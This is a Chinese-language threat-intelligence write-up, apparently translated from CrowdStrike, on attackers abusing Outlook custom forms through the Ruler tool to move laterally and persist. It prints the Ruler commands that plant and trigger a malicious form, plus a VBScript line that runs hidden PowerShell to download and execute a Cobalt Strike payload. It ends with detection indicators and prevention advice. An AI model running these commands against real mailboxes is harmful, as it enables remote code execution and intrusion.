导语:最近我们针对CrowdStrike服务进行例行调查,发现了一种攻击方法,其主要用于横向渗透和系统常驻,而且是以前我们没有看到过的。
背景
最近我们针对CrowdStrike服务进行例行调查,发现了一种攻击方法,其主要用于横向渗透和系统常驻,而且是以前我们没有看到过的。这种攻击利用Microsoft Outlook中的自定义表单(而不是宏),只需打开或预览电子邮件就会允许Visual Basic代码在系统上执行。
有关Outlook表单攻击的详细解释可以在SensePost中找到。下面的文章详细介绍了我们对使用这种攻击的分析,包括攻击过程以及检测和预防方法。
实战分析
接下来我们我们开始详细的分析,并确定攻击者已使用以前收到的凭证访问了客户端的单一身份验证Outlook Web Access(OWA)服务器。通过访问受害者的OWA服务器,攻击者在受害组织的环境中为一组用户创建了自定义消息表单。自定义表单通过电子邮件触发时,就会允许对手在受害者系统上执行代码。
要创建自定义表单,对手需要使用一个实用程序Ruler。在这种情况下,对手创建了一个自定义Outlook表单,启用Visual Basic代码执行,并将Cobalt Strike下载器嵌入到电子邮件中。每次使用自定义恶意表单向用户发送电子邮件时,都允许shell访问和完全读取,写入和执行权限。
以下是使用Ruler创建自定义表单的示例命令,指定文件“/test/CobaltStrike.txt”,其中包含Visual Basic代码以下载并启动Cobalt Strike,然后发送电子邮件以触发以下格式:
./ruler –email [email protected] form add –suffix MaliciousForm –input /test/CobaltStrike.txt –send
上述命令将会执行以下操作:
在“[email protected]”邮箱中创建自定义表单“MaliciousForm”
从同一发件人“[email protected]”发送电子邮件至“[email protected]”
电子邮件包含默认的Ruler “Invoice [Confidential]”
Cobalt Strike被下载并在受害者系统上执行,允许shell访问对手
嵌入在对手电子邮件中的payload包含以下代码,它下载并执行了Cobalt Strike的payload:
CreateObject(“WScript.Shell”).Run “cmd /c powershell.exe -NoP -sta -w hidden -c IEX ((new-object net.webclient).downloadstring(‘hxxp://:80/updater’))”
对手采用这种攻击作为一种新颖的方法在环境中横向渗透,而不使用传统的RDP或网络登录,并绕过受害组织中网段之间的跳转框。对手还利用这种攻击来保证能常驻系统,只需通过以下示例命令将电子邮件发送到先前创建的恶意自定义表单的邮箱。
./ruler –email [email protected] form send –suffix MaliciousForm
那么我们该如何发现并进行防护呢?
发现
检测此活动的一种方法是监视用于Ruler用户代理字符串(即“ruler”)的OWA IIS日志。在下面示例的OWA IIS日志中我们可以看到使用Ruler程序访问受害者OWA服务器的攻击者:
cs-method=POST cs-uri-stem=/autodiscover/autodiscover.xml cs-uri-query=- s-port=444 cs-username=DOMAINaccount c-ip=192.168.1.1 cs-version=HTTP/1.1 cs(User-Agent)=ruler cs(Referer)=- sc-status=200 sc-substatus=0 sc-win32-status=0 time-taken=31
另一种检测方法涉及Windows注册表。可以通过搜索注册表来识别包含“IPM.Note”以外的值的自定义表单。在下面的示例中,自定义表单撰写,读取和预览键将填充“IPM.Note.MaliciousForm”值:
Key: [HKEY_CURRENT_USERSoftwareMicrosoftOffice16.0OutlookCustom FormsCompose] Name: IPM.Note Type: String Value: IPM.Note.MaliciousForm Key: [HKEY_CURRENT_USERSoftwareMicrosoftOffice16.0OutlookCustom FormsRead] Name: IPM.Note Type: String Value: IPM.Note.MaliciousForm Key: [HKEY_CURRENT_USERSoftwareMicrosoftOffice16.0OutlookCustom FormsPreview] Name: IPM.Note Type: String Value: IPM.Note.MaliciousForm
最后,如果对手没有更改默认的Ruler主题,则应检查包含默认主题“Invoice [Confidential]”的SMTP流量。此外,监控实用程序应具有规则,配置包含默认标尺“Invoice [Confidential]”的电子邮件的警报。
预防
要执行此攻击,对手需要访问Microsoft Exchange服务器,在这种情况下,该服务器只需要单因素身份验证。我们应确保其用户群体的所有方面(无论是公司还是第三方)都使用双因素身份验证进行电子邮件访问。